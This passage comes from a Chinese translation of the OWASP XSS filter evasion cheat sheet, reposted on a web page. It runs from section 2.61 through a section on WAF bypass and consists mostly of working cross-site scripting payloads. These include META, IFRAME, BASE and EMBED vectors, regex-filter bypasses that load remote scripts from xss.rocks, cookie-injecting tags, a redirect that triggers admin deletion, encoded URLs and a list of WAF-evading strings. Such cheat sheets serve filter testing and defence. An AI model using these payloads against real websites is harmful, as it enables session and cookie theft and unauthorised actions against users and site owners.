Huwig发现)。它使用了畸形的7位ASCII编码来代替8位。这个XSS攻击向量可以绕过大多数内容过滤器,但是只在主机使用US-ASCII编码传输数据时有效,或者可以自己设置编码格式。相对绕过服务器端过滤,这在绕过WAF跨站脚本过滤时候更有效。Apache Tomcat是目前唯一已知使用US-ASCII编码传输的:</p> <blockquote> <p>¼script¾alert(¢XSS¢)¼/script¾ </p> </blockquote> <div class="simditor-table"></div> <h3>2.62.    META</h3> <p>关于meta刷新比较奇怪的是它并不会在头部中发送一个referrer-所以它通常用于不需要referrer的时候:</p> <blockquote> <p><META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> </p> </blockquote> <div class="simditor-table"></div> <p><strong style="color:rgb(0,112,192);">2.62.1 使用数据的META</strong></p> <p>URL scheme指令。这个非常有用因为它并不包含任何可见的SCRIPT单词或JavaScript指令,因为它使用了base64编码.请查看RFC 2397寻找更多细节。你同样可以使用具有Base64编码功能的XSS工具来编码HTML或JavaScript:</p> <blockquote> <p><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"></p> </blockquote> <div class="simditor-table"></div> <p><strong style="color:rgb(0,112,192);">2.62.2 含有额外URL参数的META</strong></p> <p>如果目标站点尝试检查URL是否包含"http://",你可以用以下技术规避它(由Moritz Naumann提交):</p> <blockquote> <p><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"></p> </blockquote> <div class="simditor-table"></div> <h3>2.63.    IFRAME</h3> <p>如果允许Iframe那就会有很多XSS问题:</p> <blockquote> <p><IFRAME SRC="javascript:alert('XSS');"></IFRAME> </p> </blockquote> <div class="simditor-table"></div> <h3>2.64.    基于事件IFRAME</h3> <p>Iframes和大多数其他元素可以使用下列事件(由David Cross提交):</p> <blockquote> <p><IFRAME SRC=# οnmοuseοver="alert(document.cookie)"></IFRAME> </p> </blockquote> <div class="simditor-table"></div> <h3>2.65.    FRAME</h3> <p>Frames和iframe一样有很多XSS问题:</p> <blockquote> <p><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> </p> </blockquote> <div class="simditor-table"></div> <h3>2.66.    TABLE</h3> <blockquote> <p><TABLE BACKGROUND="javascript:alert('XSS')"> </p> </blockquote> <p><strong style="color:rgb(0,112,192);">2.66.1. TD</strong></p> <p>和上面一样,TD也可以通过BACKGROUND来包含JavaScriptXSS攻击向量:</p> <blockquote> <p><TABLE><TD BACKGROUND="javascript:alert('XSS')"> </p> </blockquote> <div class="simditor-table"></div> <h3>2.67.    DIV</h3> <p><strong style="color:rgb(0,112,192);">2.67.1. DIV背景图像</strong></p> <blockquote> <p><DIV STYLE="background-image: url(javascript:alert('XSS'))"> </p> </blockquote> <div class="simditor-table"></div> <p><strong style="color:rgb(0,112,192);">2.67.2. 含有Unicode XSS利用代码的DIV背景图像</strong></p> <p>这进行了一些修改来混淆URL参数。原始的漏洞是由RenaudLifchitz在Hotmail发现的:</p> <blockquote> <p><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"></p> </blockquote> <div class="simditor-table"></div> <p><strong style="color:rgb(0,112,192);">2.67.3. 含有额外字符的DIV背景图像</strong></p> <p>Rnaske进行了一个快速的XSS模糊测试来发现IE和安全模式下的Netscape 8.1中任何可以在左括号和JavaScript指令间加入的额外字符。这都是十进制的但是你也可以使用十六进制来填充(以下字符可用:1-32, 34, 39, 160, 8192-8.13, 12288, 65279):</p> <blockquote> <p><DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> </p> </blockquote> <div class="simditor-table"></div> <p><strong style="color:rgb(0,112,192);">2.67.4. DIV表达式</strong></p> <p>一个非常有效的对抗现实中的跨站脚本过滤器的变体是在冒号和"expression"之间添加一个换行:</p> <blockquote> <p><DIV STYLE="width: expression(alert('XSS'));"> </p> </blockquote> <h3>2.68.    html 条件选择注释块<br></h3> <p>只能在IE5.0及更高版本和IE渲染引擎模式下的Netscape 8.1生效。一些网站认为在注释中的任何内容都是安全的并且认为没有必要移除,这就允许我们添加跨站脚本攻击向量。系统会在一些内容周围尝试添加注释标签以便安全的渲染它们。如我们所见,这有时并不起作用:</p> <blockquote> <p style="text-align:justify;"><!--[if gte IE 4]></p> <p style="text-align:justify;"> <SCRIPT>alert('XSS');</SCRIPT></p> <p style="text-align:justify;"> <![endif]--></p> </blockquote> <div class="simditor-table"></div> <h3>2.69.    BASE标签</h3> <p>在IE和安全模式下的Netscape 8.1有效。你需要使用//来注释下个字符,这样你就不会造成JavaScript错误并且你的XSS标签可以被渲染。同样,这需要当前网站使用相对路径例如"images/image.jpg"来放置图像而不是绝对路径。如果路径以一个斜杠开头例如"/images/image.jpg"你可以从攻击向量中移除一个斜杠(只有在两个斜杠时注释才会生效):</p> <blockquote> <p><BASE HREF="javascript:alert('XSS');//"> </p> </blockquote> <div class="simditor-table"></div> <h3>2.70.    OBJECT标签</h3> <p>如果允许使用OBJECT,你可以插入一个病毒攻击载荷来感染用户,类似于APPLET标签。链接文件实际是含有你XSS攻击代码的HTML文件:</p> <blockquote> <p><OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT></p> </blockquote> <div class="simditor-table"></div> <h3>2.71.    使用EMBED标签加载含有XSS的FLASH文件</h3> <p>如果你添加了属性allowScriptAccess="never"以及allownetworking="internal"则可以减小风险(感谢Jonathan Vanasco提供的信息):</p> <blockquote> <p><EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED></p> </blockquote> <div class="simditor-table"></div> <h3>2.72.    使用EMBED SVG包含攻击向量</h3> <p>该示例只在FireFox下有效,但是比上面的攻击向量在FireFox下好,因为不需要用户安装或启用FLASH。感谢nEUrOO提供:</p> <blockquote> <p><EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED></p> </blockquote> <div class="simditor-table"></div> <h3>2.73.    在FLASH中使用ActionScript混淆XSS攻击向量</h3> <blockquote> <p style="text-align:justify;">a="get";</p> <p style="text-align:justify;">b="URL(\"";</p> <p style="text-align:justify;">c="javascript:";</p> <p style="text-align:justify;">d="alert('XSS');\")";</p> <p style="text-align:justify;">eval(a+b+c+d);</p> </blockquote> <h3></h3> <div class="simditor-table"></div> <h3></h3> <h3>2.74.    CDATA混淆的XML数据岛</h3> <p>这个XSS攻击只在IE和使用IE渲染模式的Netscape 8.1下有效-攻击向量由Sec Consult在审计Yahoo时发现</p> <blockquote> <p style="text-align:justify;"><XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML></p> <p style="text-align:justify;"><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></p> </blockquote> <div class="simditor-table"></div> <h3>2.75.    使用XML数据岛生成含内嵌JavaScript的本地XML文件</h3> <p>这和上面是一样的但是将来源替换为了包含跨站脚本攻击向量的本地XML文件(必须在同一服务器上):</p> <blockquote> <p style="text-align:justify;"><XML SRC="xsstest.xml" ID=I></XML></p> <p style="text-align:justify;"><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></p> </blockquote> <div class="simditor-table"></div> <h3>2.76.    XML中使用HTML+TIME</h3> <p>这是Grey Magic攻击Hotmail和Yahoo的方法。这只在IE和IE渲染模式下的Netscape8.1有效并且记得需要在HTML域的BODY标签中间才有效:</p> <blockquote> <p><HTML><BODY> </p> <p style="text-align:justify;"><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"></p> <p style="text-align:justify;"><?import namespace="t" implementation="#default#time2"></p> <p style="text-align:justify;"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"></p> <p style="text-align:justify;"></BODY></HTML></p> </blockquote> <div class="simditor-table"></div> <h3>2.77.    使用一些字符绕过".js"过滤</h3> <p>你可以将你的JavaScript文件重命名为图像来作为XSS攻击向量:</p> <blockquote> <p><SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT></p> </blockquote> <div class="simditor-table"></div> <h3>2.78.    SSI(服务端脚本包含)</h3> <p>这需要在服务器端允许SSI来使用XSS攻击向量。似乎不用提示这点,因为如果你可以在服务器端执行指令那一定是有更严重的问题存在:</p> <blockquote> <p><!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"--></p> </blockquote> <div class="simditor-table"></div> <h3>2.79.    PHP</h3> <p>需要服务器端安装了PHP来使用XSS攻击向量。同样,如果你可以远程运行任意脚本,那会有更加严重的问题:</p> <blockquote> <p style="text-align:justify;"><? echo('<SCR)';</p> <p style="text-align:justify;">echo('IPT>alert("XSS")</SCRIPT>'); ?></p> </blockquote> <div class="simditor-table"></div> <h3>2.80.    嵌入命令的IMAGE</h3> <p>当页面受密码保护并且这个密码保护同样适用于相同域的不同页面时有效,这可以用来进行删除用户,增加用户(如果访问页面的是管理员的话),将密码发送到任意地方等等。。。这是一个较少使用当时更有价值的XSS攻击向量:</p> <blockquote> <p><IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"></p> </blockquote> <p><strong style="color:rgb(0,112,192);">2.80.1. 嵌入命令的IMAGE II</strong> </p> <p>这更加可怕因为这不包含任何可疑标识,除了它不在你自己的域名上。这个攻击向量使用一个302或304(其他的也有效)来重定向图片到指定命令。所以一个普通的<IMG SRC="httx://badguy.com/a.jpg">对于访问图片链接的用户来说也有可能是一个攻击向量。下面是利用.htaccess(Apache)配置文件来实现攻击向量。(感谢Timo提供这部分。):</p> <blockquote> <p>Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser </p> </blockquote> <div class="simditor-table"></div> <h3>2.81.    Cookie篡改</h3> <p>尽管公认不太实用,但是还是可以发现一些允许使用META标签的情况下可用它来覆写cookie。另外的例子是当用户访问网站页面时,一些网站读取并显示存储在cookie中的用户名,而不是数据库中。当这两种场景结合时,你可以修改受害者的cookie以便将JavaScript注入到其页面中(你可以使用这个让用户登出或改变他们的用户状态,甚至可以让他们以你的账户登录):</p> <blockquote> <p><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> </p> </blockquote> <div class="simditor-table"></div> <h3>2.82.    UTF-7编码</h3> <p>如果存在XSS的页面没有提供页面编码头部,或者使用了任何设置为使用UTF-7编码的浏览器,就可以使用下列方式进行攻击(感谢Roman Ivanov提供)。这在任何不改变编码类型的现代浏览器上是无效的,这也是为什么标记为完全不支持的原因。Watchfire在Google的自定义404脚本中发现这个问题:</p> <blockquote> <p><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-</p> </blockquote> <div class="simditor-table"></div> <h3>2.83.    利用HTML引号包含的XSS</h3> <p>这在IE中测试通过,但还得视情况而定。它是为了绕过那些允许"<SCRIPT>"但是不允许"<SCRIPT SRC..."形式的正则过滤即"/<script[^>]+src/i":</p> <blockquote> <p><SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT> </p> </blockquote> <div class="simditor-table"></div> <p>这是为了绕过那些允许"<SCRIPT>"但是不允许"<SCRIPTSRC..."形式的正则过滤即" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"(这很重要,因为在实际环境中出现过这种正则过滤):</p> <blockquote> <p><SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT> </p> </blockquote> <div class="simditor-table"></div> <p>另一个绕过此正则过滤" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS:</p> <blockquote> <p><SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT> </p> </blockquote> <div class="simditor-table"></div> <p>又一个绕过正则过滤" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS。尽管不想提及防御方法,但如果你想允许<SCRIPT>标签但不加载远程脚本,针对这种XSS只能使用状态机去防御(当然如果允许<SCRIPT>标签的话,还有其他方法绕过):</p> <blockquote> <p><SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT> </p> </blockquote> <div class="simditor-table"></div> <p>最后一个绕过此正则过滤" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS,使用了重音符(在FireFox下无效):</p> <blockquote> <p><SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT> </p> </blockquote> <div class="simditor-table"></div> <p>这是一个XSS样例,用来绕过那些不会检查引号配对,而是发现任何引号就立即结束参数字符串的正则表达式:</p> <blockquote> <p><SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT> </p> </blockquote> <div class="simditor-table"></div> <p>这个XSS很让人担心,因为如果不过滤所有活动内容几乎不可能防止此攻击:</p> <blockquote> <p><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT></p> </blockquote> <div class="simditor-table"></div> <h3>2.84.    URL字符绕过</h3> <p>假定"http://www.google.com/"是不被允许的:</p> <h3><strong>2.84.1. IP代替域名</strong></h3> <blockquote> <p><A HREF="http://66.102.7.147/">XSS</A></p> </blockquote> <h3></h3> <div class="simditor-table"></div> <h3></h3> <h3><strong>2.84.2. URL编码</strong></h3> <blockquote> <p><A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A></p> </blockquote> <h3></h3> <div class="simditor-table"></div> <h3></h3> <h3><strong>2.84.3. 双字节编码</strong></h3> <p>(注意:还有另一种双字节编码):</p> <blockquote> <p><A HREF="http://1113982867/">XSS</A></p> </blockquote> <div class="simditor-table"></div> <h3><strong>2.84.4. 十六进制编码</strong></h3> <p>每个数字的允许的范围大概是240位字符,就如你在第二位上看到的,并且由于十六进制是在0到F之间,所以开头的0可以省略:</p> <blockquote> <p><A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A></p> </blockquote> <div class="simditor-table"></div> <h3><strong>2.84.5. 八进制编码</strong></h3> <p>又一次允许填充,尽管你必须保证每类在4位字符以上-例如A类,B类等等:</p> <blockquote> <p><A HREF="http://0102.0146.0007.00000223/">XSS</A></p> </blockquote> <div class="simditor-table"></div> <h3><strong>2.84.6. 混合编码</strong></h3> <p>让我们混合基本编码并在其中插入一些TAB和换行,虽然不知道浏览器为什么允许这样做。TAB和换行只有被引号包含时才有效:</p> <blockquote> <p style="text-align:justify;"><A HREF="h</p> <p style="text-align:justify;">tt p://6 6.000146.0x7.147/">XSS</A></p> </blockquote> <div class="simditor-table"></div> <h3><strong>2.84.7. 协议解析绕过</strong></h3> <p>(// 替代http://可以节约很多字节).当输入空间有限时很有用(少两个字符可能解决大问题) 而且可以轻松绕过类似"(ht|f)tp(s)?://"的正则过滤(感谢Ozh提供这部分).你也可以将"//"换成"\\"。你需要保证斜杠在正确的位置,否则可能被当成相对路径URL:</p> <blockquote> <p><A HREF="//www.google.com/">XSS</A></p> </blockquote> <div class="simditor-table"></div> <h3><strong>2.84.8. Google的"feeling lucky"功能1</strong></h3> <p>Firefox使用Google的"feeling lucky"功能根据用户输入的任何关键词来将用户重定向。如果你存在漏洞的页面在某些随机关键词上搜索引擎排名是第一的,你就可以利用这一特性来攻击FireFox用户。这使用了Firefox的"keyword:"协议。你可以像下面一样使用多个关键词"keyword:XSS+RSnake"。这在Firefox2.0后不再有效.</p> <blockquote> <p><A HREF="//google">XSS</A></p> </blockquote> <div class="simditor-table"></div> <h3><strong>2.84.9. Google的"feeling lucky"功能2</strong></h3> <p>这使用了一个仅在FireFox上有效的小技巧,因为它实现了"feelinglucky"功能。不像下面一个例子,这个在Opera上无效因为Opera会认为只是一个老式的HTTP基础认证钓鱼攻击,但它并不是。它只是一个畸形的URL。如果你点击了对话框的确定,它就可以生效。但是在Opera上会是一个错误对话框,所以认为其不被Opera所支持,同样在Firefox2.0后不再有效。</p> <blockquote> <p><A HREF="http://ha.ckers.org@google">XSS</A></p> </blockquote> <div class="simditor-table"></div> <h3><strong>2.84.10.      Google的"feeling lucky"功能3</strong></h3> <p>这是一个畸形的URL只在FireFox和Opera下有效,因为它们实现了"feeling lucky"功能。像上面的例子一样,它要求你的攻击页面在Google上特定关键词排名第一(在这个示例里关键词是"google")</p> <blockquote> <p><A HREF="http://google:ha.ckers.org">XSS</A></p> </blockquote> <div class="simditor-table"></div> <h3><strong>2.84.11.      移除别名</strong></h3> <p>当结合上面的URL,移除"www."会节约4个字节,总共为正确设置的服务器节省9字节:</p> <blockquote> <p><A HREF="http://google.com/">XSS</A></p> </blockquote> <div class="simditor-table"></div> <h3><strong>2.84.12.      绝对DNS名称后额外的点</strong></h3> <blockquote> <p><A HREF="http://www.google.com./">XSS</A></p> </blockquote> <h3></h3> <div class="simditor-table"></div> <h3></h3> <h3><strong>2.84.13.      JavaScriptlink location</strong></h3> <blockquote> <p><A HREF="javascript:document.location='http://www.google.com/'">XSS</A></p> </blockquote> <h3></h3> <div class="simditor-table"></div> <h3></h3> <h3><strong>2.84.14.      内容替换作为攻击向量</strong></h3> <p>假设"http://www.google.com/"会自动替换为空。我实际使用过类似的攻击向量即通过使用转换过滤器本身(示例如下)来帮助构建攻击向量以对抗现实世界的XSS过滤器:</p> <blockquote> <p><A HREF="http://www.google.com/ogle.com/">XSS</A></p> </blockquote> <h3>2.85.    字符转义表<br></h3> <p>下面是HTML和JavaScript中字符“<”的所有可能组合。其中大部分不会被渲染出来,但其中许多可以在某些情况下呈现出来。:</p> <blockquote> <p style="text-align:justify;"><</p> <p style="text-align:justify;">%3C</p> <p style="text-align:justify;">&lt</p> <p style="text-align:justify;">&lt;</p> <p style="text-align:justify;">&LT</p> <p style="text-align:justify;">&LT;</p> <p style="text-align:justify;">&#60</p> <p style="text-align:justify;">&#060</p> <p style="text-align:justify;">&#0060</p> <p style="text-align:justify;">&#00060</p> <p style="text-align:justify;">&#000060</p> <p style="text-align:justify;">&#0000060</p> <p style="text-align:justify;">&#60;</p> <p style="text-align:justify;">&#060;</p> <p style="text-align:justify;">&#0060;</p> <p style="text-align:justify;">&#00060;</p> <p style="text-align:justify;">&#000060;</p> <p style="text-align:justify;">&#0000060;</p> <p style="text-align:justify;">&#x3c</p> <p style="text-align:justify;">&#x03c</p> <p style="text-align:justify;">&#x003c</p> <p style="text-align:justify;">&#x0003c</p> <p style="text-align:justify;">&#x00003c</p> <p style="text-align:justify;">&#x000003c</p> <p style="text-align:justify;">&#x3c;</p> <p style="text-align:justify;">&#x03c;</p> <p style="text-align:justify;">&#x003c;</p> <p style="text-align:justify;">&#x0003c;</p> <p style="text-align:justify;">&#x00003c;</p> <p style="text-align:justify;">&#x000003c;</p> <p style="text-align:justify;">&#X3c</p> <p style="text-align:justify;">&#X03c</p> <p style="text-align:justify;">&#X003c</p> <p style="text-align:justify;">&#X0003c</p> <p style="text-align:justify;">&#X00003c</p> <p style="text-align:justify;">&#X000003c</p> <p style="text-align:justify;">&#X3c;</p> <p style="text-align:justify;">&#X03c;</p> <p style="text-align:justify;">&#X003c;</p> <p style="text-align:justify;">&#X0003c;</p> <p style="text-align:justify;">&#X00003c;</p> <p style="text-align:justify;">&#X000003c;</p> <p style="text-align:justify;">&#x3C</p> <p style="text-align:justify;">&#x03C</p> <p style="text-align:justify;">&#x003C</p> <p style="text-align:justify;">&#x0003C</p> <p style="text-align:justify;">&#x00003C</p> <p style="text-align:justify;">&#x000003C</p> <p style="text-align:justify;">&#x3C;</p> <p style="text-align:justify;">&#x03C;</p> <p style="text-align:justify;">&#x003C;</p> <p style="text-align:justify;">&#x0003C;</p> <p style="text-align:justify;">&#x00003C;</p> <p style="text-align:justify;">&#x000003C;</p> <p style="text-align:justify;">&#X3C</p> <p style="text-align:justify;">&#X03C</p> <p style="text-align:justify;">&#X003C</p> <p style="text-align:justify;">&#X0003C</p> <p style="text-align:justify;">&#X00003C</p> <p style="text-align:justify;">&#X000003C</p> <p style="text-align:justify;">&#X3C;</p> <p style="text-align:justify;">&#X03C;</p> <p style="text-align:justify;">&#X003C;</p> <p style="text-align:justify;">&#X0003C;</p> <p style="text-align:justify;">&#X00003C;</p> <p style="text-align:justify;">&#X000003C;</p> <p style="text-align:justify;">\x3c</p> <p style="text-align:justify;">\x3C</p> <p style="text-align:justify;">\u003c</p> <p style="text-align:justify;">\u003C</p> </blockquote> <h2>3.绕过WAF的方法</h2> <p>通用问题</p> <p>• 存储型XSS</p> <p>如果攻击者已经让XSS绕过过滤器,WAF无法阻止攻击透过。</p> <p>•基于JavaScript的反射型XSS</p> <blockquote> <p style="text-align:justify;">示例: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script></p> <p style="text-align:justify;">利用: /?xss=500); alert(document.cookie);//</p> </blockquote> <div class="simditor-table"></div> <p>•基于DOM的XSS</p> <blockquote> <p style="text-align:justify;">示例: <script> ... eval($_GET[xss]); ... </script></p> <p style="text-align:justify;">利用: /?xss=document.cookie</p> </blockquote> <div class="simditor-table"></div> <h3><strong>通过请求重定向构造XSS</strong></h3> <p>•存在漏洞代码:</p> <blockquote> <p style="text-align:justify;">...</p> <p style="text-align:justify;"> header('Location: '.$_GET['param']);</p> <p style="text-align:justify;">...</p> </blockquote> <div class="simditor-table"></div> <p>同样包括:</p> <blockquote> <p style="text-align:justify;">...</p> <p style="text-align:justify;"> header('Refresh: 0; URL='.$_GET['param']);</p> <p style="text-align:justify;">...</p> </blockquote> <div class="simditor-table"></div> <p>•这种请求不会绕过WAF:</p> <blockquote> <p>/?param=javascript:alert(document.cookie)</p> </blockquote> <div class="simditor-table"></div> <p>•这种请求可以绕过WAF并且XSS攻击可以在某些浏览器执行:</p> <blockquote> <p>/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=</p> </blockquote> <div class="simditor-table"></div> <p><strong>绕过</strong>WAF可用<strong>字符串.</strong></p> <blockquote> <p style="text-align:justify;"><Img src = x onerror = "javascript: window.onerror = alert; throw XSS"></p> <p style="text-align:justify;"><Video> <source onerror = "javascript: alert (XSS)"></p> <p style="text-align:justify;"><Input value = "XSS" type = text></p> <p style="text-align:justify;"><applet code="javascript:confirm(document.cookie);"></p> <p style="text-align:justify;"><isindex x="javascript:" οnmοuseοver="alert(XSS)"></p> <p style="text-align:justify;">"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT></p> <p style="text-align:justify;">"><img src="x:x" οnerrοr="alert(XSS)"></p> <p style="text-align:justify;">"><iframe src="javascript:alert(XSS)"></p> <p style="text-align:justify;"><object data="javascript:alert(XSS)"></p> <p style="text-align:justify;"><isindex type=image src=1 οnerrοr=alert(XSS)></p> <p style="text-align:justify;"><img src=x:alert(alt) οnerrοr=eval(src) alt=0></p> <p style="text-align:justify;"><img  src="x:gif" οnerrοr="window['al\u0065rt'](0)"></img></p> <p style="text-align:justify;"><iframe/src="data:text/html,<svg οnlοad=alert(1)>"></p> <p style="text-align:justify;"><meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/></p> <p style="text-align:justify;"><svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script</p> <p style="text-align:justify;"><meta http-equiv="refresh" content="0;url=javascript:confirm(1)"></p> <p style="text-align:justify;"><iframe src=javascript&colon;alert&lpar;document&period;location&rpar;></p> <p style="text-align:justify;"><form><a href="javascript:\u0061lert(1)">X</p> <p style="text-align:justify;"></script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/οnerrοr='eval(src)'></p> <p style="text-align:justify;"><style>//*{x:expression(alert(/xss/))}//<style></style> </p> <p style="text-align:justify;">On Mouse Over​</p> <p style="text-align:justify;"><img src="/" =_=" title="οnerrοr='prompt(1)'"></p> <p style="text-align:justify;"><a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe</p> <p style="text-align:justify;"><script x> alert(1) </script 1=2</p> <p style="text-align:justify;"><form><button formaction=javascript&colon;alert(1)>CLICKME</p> <p style="text-align:justify;"><input/οnmοuseοver="javaSCRIPT&colon;confirm&lpar;1&rpar;"</p> <p style="text-align:justify;"><iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe></p> <p><strong><br></strong></p> </blockquote> <div class="simditor-table"></div> <h3>3.1.  Alert混淆以绕过过滤器</h3> <blockquote> <p style="text-align:justify;">(alert)(1)</p> <p style="text-align:justify;">a=alert,a(1)</p> <p style="text-align:justify;">[1].find(alert)</p> <p style="text-align:justify;">top[“al”+”ert”](1)</p> <p style="text-align:justify;">top[/al/.source+/ert/.source](1)</p> <p style="text-align:justify;">al\u0065rt(1)</p> <p style="text-align:justify;">top[‘al\145rt’](1)</p> <p style="text-align:justify;">top[‘al\x65rt’](1)</p> <p style="text-align:justify;">top[8680439..toString(30)](1)</p> </blockquote> <h2>4.作者和主要编辑</h2> <p>Robert "RSnake" Hansen</p> <h2>5.贡献者</h2> <p>Adam Lange</p> <p>Mishra Dhiraj</p> <h3><strong>版权与许可</strong></h3> <blockquote> <p>版权所有:OWASP基金会©</p> <p>本文档基于 Creative Commons Attribution ShareAlike3.0 license 发布。任何重用或发行,都必须向他人明确该文档的许可条款。http://creativecommons.org/licenses/by-sa/3.0/</p> </blockquote> </div> </div> </div> </div> </div> <!--PC和WAP自适应版--> <div id="SOHUCS" sid="1188484487906959360"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script> <!-- 文章页-底部 动态广告位 --> <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad"> <!-- 文章页-右侧1 动态广告位 --> <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div> <!-- 文章页-右侧2 动态广告位 --> <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div> <!-- 文章页-右侧3 动态广告位 --> <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(速查信息单,渗透)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1833572581211467776.htm" title="Python数据分析之证券之星沪深A股基本信息爬取与分析" target="_blank">Python数据分析之证券之星沪深A股基本信息爬取与分析</a> <span class="text-muted">卓小曙</span> <a class="tag" taget="_blank" href="/search/python%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90/1.htm">python数据分析</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90/1.htm">数据分析</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a> <div>Python数据分析之证券之星沪深A股基本信息爬取与分析上周爬取了证券之星上沪深A股的信息,我对股票完全是小白,对流通市值这些完全不了解,是上网先了解了一下,老实说虽然有了基本概念,但在数据分析时还是一头雾水,所以今天只说一下我在爬取和分析时遇到的问题(不涉及股票方面知识,只是分析数据,只是分析数据,只是分析数据),希望能对大家有帮助,也希望得到大家的意见!爬取数据获取网页内容爬取方面依旧是我常用</div> </li> <li><a href="/article/1833570564833374208.htm" title="基于UDP的简易网络聊天室" target="_blank">基于UDP的简易网络聊天室</a> <span class="text-muted">老K殿下</span> <a class="tag" taget="_blank" href="/search/%E6%AF%8F%E6%97%A5%E7%BB%83%E4%B9%A0/1.htm">每日练习</a><a class="tag" taget="_blank" href="/search/udp/1.htm">udp</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE/1.htm">网络协议</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a> 